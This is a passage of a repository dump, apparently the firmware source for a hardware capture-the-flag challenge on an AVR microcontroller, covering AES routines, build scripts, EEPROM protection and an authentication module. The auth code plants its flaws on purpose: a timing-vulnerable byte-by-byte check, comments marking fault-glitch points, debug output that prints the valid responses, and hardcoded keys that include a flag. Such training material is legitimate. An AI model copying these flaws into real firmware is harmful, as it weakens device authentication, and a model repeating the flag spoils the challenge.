PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_types.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_TYPES_H_ 28 | #define AES_TYPES_H_ 29 | 30 | #include 31 | 32 | typedef struct{ 33 | uint8_t ks[16]; 34 | } aes_roundkey_t; 35 | 36 | typedef struct{ 37 | aes_roundkey_t key[10+1]; 38 | } aes128_ctx_t; 39 | 40 | typedef struct{ 41 | aes_roundkey_t key[12+1]; 42 | } aes192_ctx_t; 43 | 44 | typedef struct{ 45 | aes_roundkey_t key[14+1]; 46 | } aes256_ctx_t; 47 | 48 | typedef struct{ 49 | aes_roundkey_t key[1]; /* just to avoid the warning */ 50 | } aes_genctx_t; 51 | 52 | typedef struct{ 53 | uint8_t s[16]; 54 | } aes_cipher_state_t; 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /source/aes/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes128_dec.c 6 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes128_enc.c 7 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes_dec.c 8 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes_enc.c 9 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes_invsbox.c 10 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes_keyschedule.c 11 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c aes_sbox.c 12 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c gf256mul.S 13 | 14 | echo "$(pwd)/aes128_dec.o $(pwd)/aes128_enc.o $(pwd)/aes_dec.o $(pwd)/aes_enc.o $(pwd)/aes_invsbox.o $(pwd)/aes_keyschedule.o $(pwd)/aes_sbox.o $(pwd)/gf256mul.o" 15 | -------------------------------------------------------------------------------- /source/aes/gf256mul.S: -------------------------------------------------------------------------------- 1 | /* gf256mul.S */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | /* 21 | * File: gf256mul.S 22 | * Author: Daniel Otte 23 | * Date: 2008-12-19 24 | * License: GPLv3 or later 25 | * Description: peasant's algorithm for multiplication in GF(2^8) 26 | * 27 | */ 28 | 29 | #include 30 | #define OPTIMIZE_SMALL_A 31 | 32 | /* 33 | * param a: r24 34 | * param b: r22 35 | * param reducer: r20 36 | */ 37 | A = 23 38 | B = 22 39 | P = 24 40 | .global gf256mul 41 | 42 | #ifdef OPTIMIZE_SMALL_A 43 | gf256mul: 44 | mov A, r24 45 | clr r24 46 | 1: 47 | lsr A 48 | breq 4f 49 | brcc 2f 50 | eor P, B 51 | 2: 52 | lsl B 53 | brcc 3f 54 | eor B, r20 55 | 3: 56 | rjmp 1b 57 | 4: 58 | brcc 2f 59 | eor P, B 60 | 2: 61 | ret 62 | 63 | #else 64 | 65 | /* 66 | 67 | uint8_t gf256mul(uint8_t a, uint8_t b, uint8_t p) { 68 | uint8_t r = 0, c = 8; 69 | do { 70 | if (a & 1) { 71 | r ^= b; 72 | } 73 | a >>= 1; 74 | if (b & 0x80) { 75 | b ^= p; 76 | } 77 | b <<= 1; 78 | } while (--c); 79 | return r; 80 | } 81 | 82 | */ 83 | gf256mul: 84 | mov A, r24 85 | clr r24 86 | ldi r25, 8 87 | 1: 88 | lsr A 89 | brcc 2f 90 | eor P, B 91 | 2: 92 | lsl B 93 | brcc 3f 94 | eor B, r20 95 | 3: 96 | dec r25 97 | brne 1b 98 | ret 99 | 100 | #endif 101 | -------------------------------------------------------------------------------- /source/aes/gf256mul.h: -------------------------------------------------------------------------------- 1 | /* gf256mul.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | #ifndef GF256MUL_H_ 20 | #define GF256MUL_H_ 21 | 22 | /** 23 | * \author Daniel Otte 24 | * \email bg@nerilex.org 25 | * \date 2008-12-19 26 | * \license GPLv3 27 | * \brief 28 | * 29 | * 30 | */ 31 | 32 | #include 33 | 34 | uint8_t gf256mul(uint8_t a, uint8_t b, uint8_t reducer); 35 | 36 | #endif /* GF256MUL_H_ */ 37 | 38 | -------------------------------------------------------------------------------- /source/auth/auth.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "auth.h" 8 | #include "serial_io.h" 9 | #include "random.h" 10 | #include "aes.h" 11 | 12 | uint8_t is_authenticated; 13 | uint8_t is_privileged; 14 | uint8_t is_administrator; 15 | uint8_t is_auth_nonce_valid; 16 | uint8_t k_attempts; 17 | uint32_t auth_nonce; 18 | extern char user_auth_response[9]; 19 | 20 | const uint8_t flash_aes_key_User[] PROGMEM = 21 | { 'R','i','s','c','u','r','e',' ','i','s',' ','c','o','o','l','!'}; 22 | 23 | const uint8_t flash_aes_key_Privileged[] PROGMEM = 24 | { 'G','e','t','t','i','n','g',' ','c','l','o','s','e','r','!','!'}; 25 | 26 | const uint8_t flash_aes_key_Admin[] __attribute__((section(".flagsection"))) = 27 | { 'R','H','m','e','+',' ','C','0','n','7','a','c','7','_','u','5'}; 28 | 29 | extern char *inbuff; // declared and initialized in main.c 30 | 31 | static void uint32_to_uint8_array(uint32_t, uint8_t *); 32 | static void uint32_to_uint8_array_bigEndian(uint32_t, uint8_t *); 33 | static uint32_t uint8_array_to_uint32_bigEndian(uint8_t *); 34 | static uint8_t timing_vulnerable_verification(uint32_t, uint8_t); 35 | static void calculate_response(uint32_t, uint32_t *, uint8_t user, uint8_t calculate_response); 36 | 37 | void generate_challenge(void) { 38 | uint32_t responses[3]; 39 | 40 | is_auth_nonce_valid = 1; 41 | k_attempts = 0; 42 | 43 | auth_nonce = get_random_uint32_t(); 44 | calculate_response(auth_nonce, &responses[0], USER_USER,0); 45 | calculate_response(auth_nonce, &responses[1], USER_ADMIN,1); 46 | calculate_response(auth_nonce, &responses[2], USER_PRIVILEGED,0); 47 | snprintf(user_auth_response, 9, "%lx", responses[0]); 48 | 49 | serial_printf("Your nonce is %08lx\r\n", auth_nonce); 50 | serial_printf("%S", PSTR("Please submit your response to finish the authentication process\r\n")); 51 | DEBUG_PRINT("DEVDEBUG: valid responses are %08lx %08lx %08lx\r\n", responses[0], responses[1], responses[2]); 52 | DEBUG_PRINT("DEVDEBUG: auth priv adm %d %d %d\r\n", is_authenticated, is_privileged, is_administrator); 53 | } 54 | 55 | void verify_response(void) { 56 | uint32_t user_input; 57 | uint8_t i; 58 | 59 | if (is_auth_nonce_valid == 1) { 60 | user_input = strtoul(inbuff + 1, NULL, 16); 61 | DEBUG_PRINT("DEBUG: input was %lx\r\n", user_input); 62 | 63 | // commence glitch chaining 64 | for (i = 0; i < 3; i++) { 65 | if( timing_vulnerable_verification(user_input, i) == 1 ) { // glitch 1 66 | is_authenticated = 1; 67 | if (i == USER_USER) { // glitch 2 68 | serial_printf("%S", PSTR("Authentication successful as user\r\n")); 69 | } else if (i == USER_PRIVILEGED) { // glitch 2 70 | serial_printf("%S", PSTR("Authentication successful as privileged user\r\n")); 71 | is_privileged = 1; 72 | } else { 73 | serial_printf("%S", PSTR("Authentication successful as administrator\r\n")); 74 | is_administrator = 1; 75 | } 76 | } 77 | } 78 | 79 | if (is_authenticated == 0) { // another glitch here, maybe useful if no RNG manipulation and no glitching above 80 | k_attempts++; 81 | if ( k_attempts == 255) { 82 | is_auth_nonce_valid = 0; 83 | serial_printf("%S", PSTR("Your nonce is now invalid, please request a new one to perform authentication\r\n")); 84 | } else 85 | serial_printf("E"); 86 | } 87 | } else { 88 | serial_printf("%S", PSTR("You have not requested an authentication nonce\r\n")); 89 | serial_printf("%S", PSTR("Please start the authentication process with that step\r\n")); 90 | } 91 | } 92 | 93 | static uint8_t timing_vulnerable_verification(uint32_t user_input, uint8_t idx_resp) { 94 | int i; 95 | uint32_t responses[3]; 96 | uint8_t buff_resp[4], buff_input[4]; 97 | 98 | i = 0; 99 | uint32_to_uint8_array(user_input, buff_input); 100 | do { 101 | calculate_response(auth_nonce, &responses[0], USER_USER, 0); 102 | calculate_response(auth_nonce, &responses[1], USER_ADMIN, 1); 103 | calculate_response(auth_nonce, &responses[2], USER_PRIVILEGED, 2); 104 | uint32_to_uint8_array( responses[idx_resp], buff_resp ); 105 | 106 | if (buff_input[i] != buff_resp[i]) 107 | return 0; 108 | 109 | i++; 110 | } while(i < 4); 111 | 112 | return 1; 113 | } 114 | 115 | 116 | static void calculate_response(uint32_t nonce, uint32_t *response, uint8_t user, uint8_t countermeasures) { 117 | uint8_t i; 118 | uint8_t aes_data[16], ram_aes_key[16]; 119 | aes128_ctx_t aes_ctx; 120 | const uint8_t *key; 121 | 122 | if (user == USER_USER) 123 | key = flash_aes_key_User; 124 | else if (user == USER_PRIVILEGED) 125 | key = flash_aes_key_Privileged; 126 | else 127 | key = flash_aes_key_Admin; 128 | 129 | for (i = 0; i < 16; i++) 130 | ram_aes_key[i] = pgm_read_byte(key + i); 131 | 132 | uint32_to_uint8_array_bigEndian(nonce, aes_data); 133 | for (i = 4; i < 16; i++) 134 | aes_data[i] = 0; 135 | 136 | aes128_init(ram_aes_key, &aes_ctx); 137 | aes128_enc(aes_data, &aes_ctx, countermeasures); 138 | 139 | for (i = 0; i < 16; i++) 140 | ram_aes_key[i] = 0; // Cleaning the key. 141 | 142 | *response = uint8_array_to_uint32_bigEndian(&aes_data[12]); 143 | 144 | if (user == USER_USER) 145 | *response = *response & 0x000FFFFF; 146 | else if (user == USER_PRIVILEGED) 147 | *response = *response & 0x00FFFFFF; 148 | else 149 | *response = *response & 0xFFFFFFFF; 150 | } 151 | 152 | static void uint32_to_uint8_array(uint32_t n, uint8_t *buffer) { 153 | uint8_t *ptr; 154 | int i; 155 | 156 | ptr = (uint8_t *)&n; 157 | for (i = 3; i >= 0; i--) 158 | buffer[i] = ptr[i]; 159 | } 160 | 161 | static void uint32_to_uint8_array_bigEndian(uint32_t n, uint8_t *buffer) { 162 | uint8_t *ptr; 163 | int i; 164 | 165 | ptr = (uint8_t *)&n; 166 | for (i = 3; i >= 0; i--) 167 | buffer[i] = *ptr++; 168 | } 169 | 170 | static uint32_t uint8_array_to_uint32_bigEndian(uint8_t *buffer) { 171 | uint32_t val; 172 | int8_t i; 173 | 174 | val = 0; 175 | for (i = 0; i <= 3; i++) { 176 | val <<= 8; 177 | val |= buffer[i]; 178 | } 179 | 180 | return val; 181 | } 182 | -------------------------------------------------------------------------------- /source/auth/auth.h: -------------------------------------------------------------------------------- 1 | #ifndef AUTH_H 2 | #define AUTH_H 3 | 4 | #define USER_ADMIN 1 5 | #define USER_USER 0 6 | #define USER_PRIVILEGED 2 7 | 8 | void generate_challenge(void); 9 | void verify_response(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /source/auth/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c auth.c 6 | 7 | echo "$(pwd)/auth.o" 8 | -------------------------------------------------------------------------------- /source/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 6 | 7 | #MMCU="atxmega64a3" 8 | #F_CPU="32000000UL" 9 | #export BOARD_FAMILY="ATX_MEGA" 10 | 11 | MMCU="atmega328p" 12 | F_CPU="16000000UL" 13 | EEPROM_CHECK_ADDR="38" 14 | export BOARD_FAMILY="AT_MEGA" 15 | 16 | PRBUFF_LEN=120 17 | INBUFF_LEN=20 18 | export GCC_OPTIMIZATION_FLAG="-Os" 19 | export GCC_COMPILE_FLAGS="-Wall -mmcu=$MMCU -DF_CPU=$F_CPU -D$BOARD_FAMILY -DPRBUFF_LEN=$PRBUFF_LEN -DINBUFF_LEN=$INBUFF_LEN -DEEPROM_CHECK_ADDR=$EEPROM_CHECK_ADDR -funsigned-char -funsigned-bitfields -fpack-struct -fshort-enums -fno-exceptions -Wundef" 20 | export GCC_LINK_FLAGS="-Wl,--gc-sections" 21 | export OBJCOPY_IHEX_FLAGS="-j .text -j .data -O ihex" 22 | export OBJCOPY_BIN_FLAGS="-j .text -j .data -O binary" 23 | export DEPS="" 24 | export INC_PATH="-I $DIR" 25 | 26 | MODULES=( 27 | serial 28 | random 29 | aes 30 | variables 31 | auth 32 | obfuscated_asm 33 | overflow_rop 34 | eeprom_rw 35 | overflow_readflash 36 | menu 37 | main 38 | ) 39 | 40 | for M in ${MODULES[@]}; do 41 | echo "" 42 | echo ">>> Building $M" 43 | MOD_DIR="$DIR/$M" 44 | cd $MOD_DIR 45 | export DEPS="$DEPS $(./build.sh)" 46 | export INC_PATH="$INC_PATH -I $MOD_DIR" 47 | done 48 | 49 | #cp $DIR/main/ctf.elf /vmshared 50 | #cp $DIR/main/ctf.hex /vmshared 51 | -------------------------------------------------------------------------------- /source/check_board.py: -------------------------------------------------------------------------------- 1 | #! env python 2 | 3 | import sys 4 | import avr_serial 5 | 6 | ser = avr_serial.AVRSerial( sys.argv[1], verbose = False ) 7 | 8 | ser.w('H') 9 | response = ser.r(100) 10 | 11 | if response: 12 | exit(0) 13 | else: 14 | exit(1) 15 | -------------------------------------------------------------------------------- /source/eeprom_rw/build.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | set -euo pipefail 4 | 5 | GCC_OPTIMIZATION_FLAG="-O0" 6 | 7 | avr-gcc $GCC_COMPILE_FLAGS $GCC_OPTIMIZATION_FLAG $INC_PATH -c eeprom_rw.c 8 | 9 | echo "$(pwd)/eeprom_rw.o" 10 | -------------------------------------------------------------------------------- /source/eeprom_rw/eeprom_rw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "serial_io.h" 6 | 7 | uint8_t eeprom_is_memory_protected(void) { 8 | return eeprom_read_byte((uint8_t *)EEPROM_CHECK_ADDR); 9 | } 10 | 11 | void eeprom_set_memory_protected(void) { 12 | serial_printf("%S", PSTR("Calling eeprom_set_memory_protected\r\n")); 13 | eeprom_write_byte((uint8_t *)EEPROM_CHECK_ADDR, 1); 14 | } 15 | 16 | void eeprom_set_memory_unprotected(void) { 17 | serial_printf("%S", PSTR("Calling eeprom_set_memory_unprotected\r\n")); 18 | eeprom_write_byte((uint8_t *)EEPROM_CHECK_ADDR, 0); 19 | } 20 | -------------------------------------------------------------------------------- /source/eeprom_rw/eeprom_rw.h: -------------------------------------------------------------------------------- 1 | #ifndef EEPROM_RC_H 2 | #define EEPROM_RC_H 3 | 4 | uint8_t eeprom_is_memory_protected(void); 5 | void eeprom_set_memory_protected(void); 6 | void eeprom_set_memory_unprotected(void) __attribute__((section(".set_memory_unprotected"))); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /source/license.txt: -------------------------------------------------------------------------------- 1 | Reciprocal Public License (RPL-1.5) 2 | 3 | Version 1.5, July 15, 2007 4 | 5 | Copyright (C) 2001-2007 6 | Technical Pursuit Inc., 7 | All Rights Reserved. 8 | 9 | 10 | PREAMBLE 11 | 12 | The Reciprocal Public License (RPL) is based on the concept of reciprocity or, 13 | if you prefer, fairness. 14 | 15 | In short, this license grew out of a desire to close loopholes in previous open 16 | source licenses, loopholes that allowed parties to acquire open source software 17 | and derive financial benefit from it without having to release their 18 | improvements or derivatives to the community which enabled them. This occurred 19 | any time an entity did not release their application to a "third party". 20 | 21 | While there is a certain freedom in this model of licensing, it struck the 22 | authors of the RPL as being unfair to the open source community at large and to 23 | the original authors of the works in particular. After all, bug fixes, 24 | extensions, and meaningful and valuable derivatives were not consistently 25 | finding their way back into the community where they could fuel further, and 26 | faster, growth and expansion of the overall open source software base. 27 | 28 | While you should clearly read and understand the entire license, the essence of 29 | the RPL is found in two definitions: "Deploy" and "Required Components". 30 | 31 | Regarding deployment, under the RPL your changes, bug fixes, extensions, etc. 32 | must be made available to the open source community at large when you Deploy in 33 | any form -- either internally or to an outside party. Once you start running 34 | the software you have to start sharing the software. 35 | 36 | Further, under the RPL all components you author including schemas, scripts, 37 | source code, etc. -- regardless of whether they're compiled into a single 38 | binary or used as two halves of client/server application -- must be shared. 39 | You have to share the whole pie, not an isolated slice of it. 40 | 41 | In addition to these goals, the RPL was authored to meet the requirements of 42 | the Open Source Definition as maintained by the Open Source Initiative (OSI). 43 | 44 | The specific terms and conditions of the license are defined in the remainder 45 | of this document. 46 | 47 | 48 | LICENSE TERMS 49 | 50 | 1.0 General; Applicability & Definitions. This Reciprocal Public License 51 | Version 1.5 ("License") applies to any programs or other works as well as any 52 | and all updates or maintenance releases of said programs or works ("Software") 53 | not already covered by this License which the Software copyright holder 54 | ("Licensor") makes available containing a License Notice (hereinafter defined) 55 | from the Licensor specifying or allowing use or distribution under the terms of 56 | this License. As used in this License: 57 | 58 | 1.1 "Contributor" means any person or entity who created or contributed to the 59 | creation of an Extension. 60 | 61 | 1.2 "Deploy" means to use, Serve, sublicense or distribute Licensed Software 62 | other than for Your internal Research and/or Personal Use, and includes 63 | without limitation, any and all internal use or distribution of Licensed 64 | Software within Your business or organization other than for Research and/or 65 | Personal Use, as well as direct or indirect sublicensing or distribution of 66 | Licensed Software by You to any third party in any form or manner. 67 | 68 | 1.3 "Derivative Works" as used in this License is defined under U.S. copyright 69 | law. 70 | 71 | 1.4 "Electronic Distribution Mechanism" means a mechanism generally accepted 72 | in the software development community for the electronic transfer of data such 73 | as download from an FTP server or web site, where such mechanism is publicly 74 | accessible. 75 | 76 | 1.5 "Extensions" means any Modifications, Derivative Works, or Required 77 | Components as those terms are defined in this License. 78 | 79 | 1.6 "License" means this Reciprocal Public License. 80 | 81 | 1.7 "License Notice" means any notice contained in EXHIBIT A. 82 | 83 | 1.8 "Licensed Software" means any Software licensed pursuant to this License. 84 | Licensed Software also includes all previous Extensions from any Contributor 85 | that You receive. 86 | 87 | 1.9 "Licensor" means the copyright holder of any Software previously not 88 | covered by this License who releases the Software under the terms of this 89 | License. 90 | 91 | 1.10 "Modifications" means any additions to or deletions from the substance or 92 | structure of (i) a file or other storage containing Licensed Software, or (ii) 93 | any new file or storage that contains any part of Licensed Software, or (iii) 94 | any file or storage which replaces or otherwise alters the original 95 | functionality of Licensed Software at runtime. 96 | 97 | 1.11 "Personal Use" means use of Licensed Software by an individual solely for 98 | his or her personal, private and non-commercial purposes. An individual's use 99 | of Licensed Software in his or her capacity as an officer, employee, member, 100 | independent contractor or agent of a corporation, business or organization 101 | (commercial or non-commercial) does not qualify as Personal Use. 102 | 103 | 1.12 "Required Components" means any text, programs, scripts, schema, 104 | interface definitions, control files, or other works created by You which are 105 | required by a third party of average skill to successfully install and run 106 | Licensed Software containing Your Modifications, or to install and run Your 107 | Derivative Works. 108 | 109 | 1.13 "Research" means investigation or experimentation for the purpose of 110 | understanding the nature and limits of the Licensed Software and its potential 111 | uses. 112 | 113 | 1.14 "Serve" means to deliver Licensed Software and/or Your Extensions by 114 | means of a computer network to one or more computers for purposes of execution 115 | of Licensed Software and/or Your Extensions. 116 | 117 | 1.15 "Software" means any computer programs or other works as well as any 118 | updates or maintenance releases of those programs or works which are 119 | distributed publicly by Licensor. 120 | 121 | 1.16 "Source Code" means the preferred form for making modifications to the 122 | Licensed Software and/or Your Extensions, including all modules contained 123 | therein, plus any associated text, interface definition files, scripts used to 124 | control compilation and installation of an executable program or other 125 | components required by a third party of average skill to build a running 126 | version of the Licensed Software or Your Extensions. 127 | 128 | 1.17 "User-Visible Attribution Notice" means any notice contained in EXHIBIT B. 129 | 130 | 1.18 "You" or "Your" means an individual or a legal entity exercising rights 131 | under this License. For legal entities, "You" or "Your" includes any entity 132 | which controls, is controlled by, or is under common control with, You, where 133 | "control" means (a) the power, direct or indirect, to cause the direction or 134 | management of such entity, whether by contract or otherwise, or (b) ownership 135 | of fifty percent (50%) or more of the outstanding shares or beneficial 136 | ownership of such entity. 137 | 138 | 2.0 Acceptance Of License. You are not required to accept this License since 139 | you have not signed it, however nothing else grants you permission to use, 140 | copy, distribute, modify, or create derivatives of either the Software or any 141 | Extensions created by a Contributor. These actions are prohibited by law if 142 | you do not accept this License. Therefore, by performing any of these actions 143 | You indicate Your acceptance of this License and Your agreement to be bound by 144 | all its terms and conditions. IF YOU DO NOT AGREE WITH ALL THE TERMS AND 145 | CONDITIONS OF THIS LICENSE DO NOT USE, MODIFY, CREATE DERIVATIVES, OR 146 | DISTRIBUTE THE SOFTWARE. IF IT IS IMPOSSIBLE FOR YOU TO COMPLY WITH ALL THE 147 | TERMS AND CONDITIONS OF THIS LICENSE THEN YOU CAN NOT USE, MODIFY, CREATE 148 | DERIVATIVES, OR DISTRIBUTE THE SOFTWARE. 149 | 150 | 3.0 Grant of License From Licensor. Subject to the terms and conditions of 151 | this License, Licensor hereby grants You a world-wide, royalty-free, non- 152 | exclusive license, subject to Licensor's intellectual property rights, and any 153 | third party intellectual property claims derived from the Licensed Software 154 | under this License, to do the following: 155 | 156 | 3.1 Use, reproduce, modify, display, perform, sublicense and distribute 157 | Licensed Software and Your Extensions in both Source Code form or as an 158 | executable program. 159 | 160 | 3.2 Create Derivative Works (as that term is defined under U.S. copyright law) 161 | of Licensed Software by adding to or deleting from the substance or structure 162 | of said Licensed Software. 163 | 164 | 3.3 Under claims of patents now or hereafter owned or controlled by Licensor, 165 | to make, use, have made, and/or otherwise dispose of Licensed Software or 166 | portions thereof, but solely to the extent that any such claim is necessary to 167 | enable You to make, use, have made, and/or otherwise dispose of Licensed 168 | Software or portions thereof. 169 | 170 | 3.4 Licensor reserves the right to release new versions of the Software with 171 | different features, specifications, capabilities, functions, licensing terms, 172 | general availability or other characteristics. Title, ownership rights, and 173 | intellectual property rights in and to the Licensed Software shall remain in 174 | Licensor and/or its Contributors. 175 | 176 | 4.0 Grant of License From Contributor. By application of the provisions in 177 | Section 6 below, each Contributor hereby grants You a world-wide, royalty- 178 | free, non-exclusive license, subject to said Contributor's intellectual 179 | property rights, and any third party intellectual property claims derived from 180 | the Licensed Software under this License, to do the following: 181 | 182 | 4.1 Use, reproduce, modify, display, perform, sublicense and distribute any 183 | Extensions Deployed by such Contributor or portions thereof, in both Source 184 | Code form or as an executable program, either on an unmodified basis or as 185 | part of Derivative Works. 186 | 187 | 4.2 Under claims of patents now or hereafter owned or controlled by 188 | Contributor, to make, use, have made, and/or otherwise dispose of Extensions 189 | or portions thereof, but solely to the extent that any such claim is necessary 190 | to enable You to make, use, have made, and/or otherwise dispose of 191 | Licensed Software or portions thereof. 192 | 193 | 5.0 Exclusions From License Grant. Nothing in this License shall be deemed to 194 | grant any rights to trademarks, copyrights, patents, trade secrets or any 195 | other intellectual property of Licensor or any Contributor except as expressly 196 | stated herein. Except as expressly stated in Sections 3 and 4, no other patent 197 | rights, express or implied, are granted herein. Your Extensions may require 198 | additional patent licenses from Licensor or Contributors which each may grant 199 | in its sole discretion. No right is granted to the trademarks of Licensor or 200 | any Contributor even if such marks are included in the Licensed Software. 201 | Nothing in this License shall be interpreted to prohibit Licensor from 202 | licensing under different terms from this License any code that Licensor 203 | otherwise would have a right to license. 204 | 205 | 5.1 You expressly acknowledge and agree that although Licensor and each 206 | Contributor grants the licenses to their respective portions of the Licensed 207 | Software set forth herein, no assurances are provided by Licensor or any 208 | Contributor that the Licensed Software does not infringe the patent or other 209 | intellectual property rights of any other entity. Licensor and each 210 | Contributor disclaim any liability to You for claims brought by any other 211 | entity based on infringement of intellectual property rights or otherwise. As 212 | a condition to exercising the rights and licenses granted hereunder, You 213 | hereby assume sole responsibility to secure any other intellectual property 214 | rights needed, if any. For example, if a third party patent license is 215 | required to allow You to distribute the Licensed Software, it is Your 216 | responsibility to acquire that license before distributing the Licensed 217 | Software. 218 | 219 | 6.0 Your Obligations And Grants. In consideration of, and as an express 220 | condition to, the licenses granted to You under this License You hereby agree 221 | that any Modifications, Derivative Works, or Required Components (collectively 222 | Extensions) that You create or to which You contribute are governed by the 223 | terms of this License including, without limitation, Section 4. Any Extensions 224 | that You create or to which You contribute must be Deployed under the terms of 225 | this License or a future version of this License released under Section 7. You 226 | hereby grant to Licensor and all third parties a world-wide, non-exclusive, 227 | royalty-free license under those intellectual property rights You own or 228 | control to use, reproduce, display, perform, modify, create derivatives, 229 | sublicense, and distribute Licensed Software, in any form. Any Extensions You 230 | make and Deploy must have a distinct title so as to readily tell any 231 | subsequent user or Contributor that the Extensions are by You. You must 232 | include a copy of this License or directions on how to obtain a copy with 233 | every copy of the Extensions You distribute. You agree not to offer or impose 234 | any terms on any Source Code or executable version of the Licensed Software, 235 | or its Extensions that alter or restrict the applicable version of this 236 | License or the recipients' rights hereunder. 237 | 238 | 6.1 Availability of Source Code. You must make available, under the terms of 239 | this License, the Source Code of any Extensions that You Deploy, via an 240 | Electronic Distribution Mechanism. The Source Code for any version that You 241 | Deploy must be made available within one (1) month of when you Deploy and must 242 | remain available for no less than twelve (12) months after the date You cease 243 | to Deploy. You are responsible for ensuring that the Source Code to each 244 | version You Deploy remains available even if the Electronic Distribution 245 | Mechanism is maintained by a third party. You may not charge a fee for any 246 | copy of the Source Code distributed under this Section in excess of Your 247 | actual cost of duplication and distribution of said copy. 248 | 249 | 6.2 Description of Modifications. You must cause any Modifications that You 250 | create or to which You contribute to be documented in the Source Code, clearly 251 | describing the additions, changes or deletions You made. You must include a 252 | prominent statement that the Modifications are derived, directly or indirectly, 253 | from the Licensed Software and include the names of the Licensor and any 254 | Contributor to the Licensed Software in (i) the Source Code and (ii) in any 255 | notice displayed by the Licensed Software You distribute or in related 256 | documentation in which You describe the origin or ownership of the Licensed 257 | Software. You may not modify or delete any pre-existing copyright notices, 258 | change notices or License text in the Licensed Software without written 259 | permission of the respective Licensor or Contributor. 260 | 261 | 6.3 Intellectual Property Matters. 262 | 263 | a. Third Party Claims. If You have knowledge that a license to a third party's 264 | intellectual property right is required to exercise the rights granted by this 265 | License, You must include a human-readable file with Your distribution that 266 | describes the claim and the party making the claim in sufficient detail that a 267 | recipient will know whom to contact. 268 | 269 | b. Contributor APIs. If Your Extensions include an application programming 270 | interface ("API") and You have knowledge of patent licenses that are 271 | reasonably necessary to implement that API, You must also include this 272 | information in a human-readable file supplied with Your distribution. 273 | 274 | c. Representations. You represent that, except as disclosed pursuant to 6.3(a) 275 | above, You believe that any Extensions You distribute are Your original 276 | creations and that You have sufficient rights to grant the rights conveyed by 277 | this License. 278 | 279 | 6.4 Required Notices. 280 | 281 | a. License Text. You must duplicate this License or instructions on how to 282 | acquire a copy in any documentation You provide along with the Source Code of 283 | any Extensions You create or to which You contribute, wherever You describe 284 | recipients' rights relating to Licensed Software. 285 | 286 | b. License Notice. You must duplicate any notice contained in EXHIBIT A (the 287 | "License Notice") in each file of the Source Code of any copy You distribute 288 | of the Licensed Software and Your Extensions. If You create an Extension, You 289 | may add Your name as a Contributor to the Source Code and accompanying 290 | documentation along with a description of the contribution. If it is not 291 | possible to put the License Notice in a particular Source Code file due to its 292 | structure, then You must include such License Notice in a location where a 293 | user would be likely to look for such a notice. 294 | 295 | c. Source Code Availability. You must notify the software community of the 296 | availability of Source Code to Your Extensions within one (1) month of the date 297 | You initially Deploy and include in such notification a description of the 298 | Extensions, and instructions on how to acquire the Source Code. Should such 299 | instructions change you must notify the software community of revised 300 | instructions within one (1) month of the date of change. You must provide 301 | notification by posting to appropriate news groups, mailing lists, weblogs, or 302 | other sites where a publicly accessible search engine would reasonably be 303 | expected to index your post in relationship to queries regarding the Licensed 304 | Software and/or Your Extensions. 305 | 306 | d. User-Visible Attribution. You must duplicate any notice contained in 307 | EXHIBIT B (the "User-Visible Attribution Notice") in each user-visible display 308 | of the Licensed Software and Your Extensions which delineates copyright, 309 | ownership, or similar attribution information. If You create an Extension, 310 | You may add Your name as a Contributor, and add Your attribution notice, as an 311 | equally visible and functional element of any User-Visible Attribution Notice 312 | content. To ensure proper attribution, You must also include such User-Visible 313 | Attribution Notice in at least one location in the Software documentation 314 | where a user would be likely to look for such notice. 315 | 316 | 6.5 Additional Terms. You may choose to offer, and charge a fee for, warranty, 317 | 